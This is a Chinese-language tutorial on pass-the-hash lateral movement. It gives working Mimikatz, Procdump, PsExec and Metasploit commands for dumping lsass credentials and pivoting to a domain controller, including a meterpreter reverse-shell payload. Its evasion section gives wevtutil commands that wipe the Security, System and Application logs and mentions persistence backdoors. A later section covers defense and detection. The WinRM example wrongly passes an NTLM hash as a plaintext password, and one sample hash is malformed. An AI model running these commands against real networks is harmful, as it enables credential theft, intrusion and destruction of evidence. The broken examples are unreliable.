从零开始学内网横向移动:Mimikatz哈希传递攻击全流程解析(含Procdump搭配技巧)

张开发
2026/4/6 1:00:29 15 分钟阅读

分享文章

从零开始学内网横向移动:Mimikatz哈希传递攻击全流程解析(含Procdump搭配技巧)
从零开始掌握内网横向渗透哈希传递攻击实战指南当你第一次听说哈希传递攻击时脑海中浮现的是什么画面是黑客电影里那些神秘莫测的代码滚动还是现实中企业网络被悄无声息攻破的新闻今天我们就来揭开这项内网渗透核心技术的神秘面纱。哈希传递(Pass-the-Hash, PTH)攻击是内网横向移动中最经典的攻击手法之一。不同于传统的暴力破解它巧妙地绕过了对明文密码的需求直接利用密码哈希值进行身份验证。这种攻击方式在内网环境中尤其危险因为一旦攻击者获取了一个系统的哈希值就可能利用相同的凭证横向移动到网络中的其他系统。1. 理解哈希传递的基础概念在深入实操之前我们需要先搞清楚几个关键概念。Windows系统的身份认证机制经历了从LM哈希到NTLM再到Kerberos的演进过程而哈希传递攻击主要针对的是NTLM认证协议。1.1 LM哈希与NTLM哈希的区别LM哈希是微软最早采用的密码哈希算法设计于1980年代存在严重的安全缺陷密码被分成两部分分别哈希超过7字符时不区分大小写使用DES加密算法# 计算LM哈希的伪代码示例 function LM_HASH(password): password password.upper()[:14] password password.ljust(14, \0) part1 password[:7] part2 password[7:] hash1 DES(part1, KGS!#$%) hash2 DES(part2, KGS!#$%) return hash1 hash2相比之下NTLM哈希也称为NT哈希更为安全使用MD4算法保留原始密码的大小写支持完整的128位密码长度从Windows Vista/Server 2008开始微软默认禁用LM哈希现代系统主要使用NTLM哈希。但在某些旧系统或特殊配置环境下LM哈希仍可能被使用。1.2 NTLM认证流程简析NTLM认证采用挑战-响应机制主要分为三个步骤协商客户端向服务器发起认证请求挑战服务器生成一个随机数挑战发送给客户端响应客户端使用用户密码的哈希值加密挑战将结果作为响应返回哈希传递攻击的精妙之处在于攻击者不需要知道原始密码只需拥有密码哈希值就能构造出有效的响应通过认证。提示现代Windows系统默认使用Kerberos认证但当遇到以下情况时会回退到NTLM目标服务不在域中目标服务IP地址而非主机名访问客户端或服务端未加入域2. 准备工作环境搭建与工具获取2.1 实验环境配置建议为了安全地学习和测试哈希传递技术建议搭建以下实验环境组件推荐配置备注攻击机Kali Linux 或 Windows 10安装必要工具目标机1Windows Server 2012 R2域成员服务器目标机2Windows 10工作站网络环境虚拟内网使用VMware或VirtualBox2.2 必备工具清单进行哈希传递攻击需要准备以下工具Mimikatz提取哈希和执行PTH的核心工具Procdump微软官方工具用于转储lsass进程内存PsExec远程命令执行工具WCE(Windows Credential Editor)替代Mimikatz的轻量级工具# 下载Procdump的合法方式 Invoke-WebRequest -Uri https://download.sysinternals.com/files/Procdump.zip -OutFile Procdump.zip Expand-Archive -Path Procdump.zip -DestinationPath Procdump注意在实际渗透测试中确保你拥有目标系统的合法测试权限未经授权的测试可能违反法律。3. 哈希提取技术详解获取有效的哈希值是实施PTH攻击的前提。现代Windows系统的安全机制使得直接提取明文密码变得困难但我们仍有多种方法可以获取NTLM哈希。3.1 使用Mimikatz直接提取Mimikatz是最著名的凭据提取工具其基本使用流程如下以管理员权限运行cmd启动Mimikatz提升调试权限提取登录凭据mimikatz # privilege::debug mimikatz # sekurlsa::logonpasswords执行后会输出类似以下信息Authentication Id : 0 ; 308124 (00000000:0004b31c) Session : Interactive from 1 User Name : Administrator Domain : CORP Logon Server : DC01 Logon Time : 2023/5/15 10:23:09 SID : S-1-5-21-1606980848-89203812-1303643609-500 msv : [00000003] Primary * Username : Administrator * Domain : CORP * NTLM : 2cefb09dda6d6f9becfa3c0f56c3dad7 * SHA1 : 7a21990f1439cff367df8a6289a4a9103f145d9e tspkg : wdigest : * Username : Administrator * Domain : CORP * Password : (null) kerberos : * Username : Administrator * Domain : CORP.LOCAL * Password : (null)从输出中我们需要重点关注msv部分下的NTLM哈希值。3.2 使用ProcdumpMimikatz组合技在较新的Windows系统(如Win10/Server 2016)中直接运行Mimikatz可能会被防病毒软件拦截。这时可以采用微软官方工具Procdump先转储lsass进程内存再离线分析# 使用Procdump转储lsass进程 procdump.exe -accepteula -ma lsass.exe lsass.dmp # 使用Mimikatz分析转储文件 mimikatz # sekurlsa::minidump lsass.dmp mimikatz # sekurlsa::logonpasswords这种方法的好处是规避实时监控可以在不同机器上进行分析产生的转储文件可以存档供后续使用3.3 其他哈希提取方法除了上述两种主流方法还有一些替代方案注册表提取从注册表中导出SAM和SYSTEM文件使用creddump7等工具提取哈希WCE注入使用Windows Credential Editor直接注入进程提取凭据MeterpreterMetasploit框架中的hashdump模块4. 实施哈希传递攻击获取到有效的NTLM哈希后就可以开始实施实际的攻击了。根据目标环境的不同我们可以采用多种方式进行横向移动。4.1 基础PTH攻击最基本的哈希传递攻击使用Mimikatz的sekurlsa::pth功能mimikatz # sekurlsa::pth /user:Administrator /domain:CORP /ntlm:2cefb09dda6d6f9becfa3c0f56c3dad7执行后会弹出一个新的cmd窗口在这个窗口中发起的任何网络连接都将使用注入的凭据。例如dir \\DC01\C$ # 列出域控制器的C盘内容4.2 常用横向移动技术对比技术所需条件优点缺点Mimikatz PTH本地管理员权限支持多种协议需要交互式会话PsExec哈希目标管理员权限直接获取shell容易被检测WMI哈希目标管理员权限隐蔽性较好配置复杂计划任务哈希目标写权限支持定时执行需要清理痕迹4.3 实战案例全流程攻击链让我们看一个完整的攻击示例信息收集发现内网中存在多台Windows服务器初始入侵通过钓鱼攻击获取第一台服务器的访问权限权限提升利用本地提权漏洞获取管理员权限哈希提取procdump.exe -ma lsass.exe lsass.dmp mimikatz # sekurlsa::minidump lsass.dmp mimikatz # sekurlsa::logonpasswords哈希传递mimikatz # sekurlsa::pth /user:Admin /domain:INTERNAL /ntlm:3f6ef56e5e8b8a5d6a7c9b8d5e6f7a8横向移动psexec.exe \\192.168.1.15 cmd.exe后渗透操作安装持久化后门收集敏感数据等4.4 防御规避技巧在实际渗透测试中我们需要考虑如何绕过各种防御机制AMSI绕过修改Mimikatz的字符串特征或使用内存加载技术日志清理使用wevtutil清除安全日志隐蔽执行通过合法进程注入或父进程欺骗执行恶意操作流量伪装将C2通信伪装成正常HTTPS流量# 清除安全日志示例 wevtutil cl Security wevtutil cl System wevtutil cl Application5. 防御策略与检测方法了解了攻击手法后我们更需要知道如何防御这类攻击。有效的防御需要多层次的安全措施。5.1 预防性控制措施禁用LM哈希通过组策略设置网络安全: 不要在下次更改密码时存储LAN Manager哈希值限制NTLM使用尽可能使用Kerberos认证限制NTLM的使用场景特权账户管理避免域管理员账户登录普通工作站为不同服务器使用不同的本地管理员密码补丁管理及时安装安全更新特别是针对PsExec等工具的缓解措施5.2 检测哈希传递攻击哈希传递攻击会留下一些特征痕迹安全团队可以通过以下方式检测日志分析同一账户从多个IP短时间内登录不同系统登录事件(4624)中登录类型为3(网络登录)但身份验证包为NTLM缺少前期的Kerberos预认证事件网络监控NTLM认证流量中的异常模式SMB会话中的可疑文件访问终端检测lsass进程的异常内存读取可疑的Procdump执行行为Mimikatz相关进程创建5.3 应急响应建议一旦检测到可能的哈希传递攻击建议采取以下响应步骤隔离受影响系统立即将可疑系统从网络中断开重置相关凭据包括所有可能泄露的账户密码全面调查确定攻击入口点和横向移动路径加固安全配置实施更严格的访问控制和监控措施法律取证保存证据以备后续法律程序需要6. 高级技巧与实战经验在实际渗透测试中哈希传递攻击往往会遇到各种特殊情况。以下是几个实用的高级技巧。6.1 受限环境下的PTH当目标系统限制了常规的PTH方法时可以尝试RDP受限模式使用受限管理员模式进行远程桌面连接WinRM连接通过PowerShell Remoting进行远程管理服务票据攻击如果Kerberos可用转用黄金票据或白银票据攻击# 使用WinRM进行远程连接示例 $cred New-Object System.Management.Automation.PSCredential(DOMAIN\user, (ConvertTo-SecureString NTLM哈希 -AsPlainText -Force)) Enter-PSSession -ComputerName TARGET -Credential $cred -Authentication Negotiate6.2 哈希传递的替代方案当PTH不可行时可以考虑以下替代方法票据传递(Pass-the-Ticket)使用Kerberos票据而非NTLM哈希Overpass-the-Hash将哈希转换为Kerberos票据令牌窃取直接窃取其他进程的安全令牌6.3 自动化工具整合为了提高效率可以将哈希传递整合到自动化攻击框架中Cobalt Strike使用pth和make_token命令Empirepowershell/credentials/mimikatz/pth模块Metasploitexploit/windows/smb/psexec模块配合SMBPass选项# Metasploit中使用PTH的示例 use exploit/windows/smb/psexec set SMBUser Administrator set SMBPass 2cefb09dda6d6f9becfa3c0f56c3dad7 set SMBDomain CORP set payload windows/x64/meterpreter/reverse_tcp exploit在内网渗透测试中哈希传递攻击的成功率很大程度上取决于前期的信息收集和后期的权限维持。记得在一次测试中我们通过一个普通的用户权限经过三跳就拿到了域控制器的权限整个过程只用了不到两小时而关键突破口就是发现多台服务器使用了相同的本地管理员密码。这种配置失误在企业内网中出奇地常见也再次证明了基础安全配置的重要性。

更多文章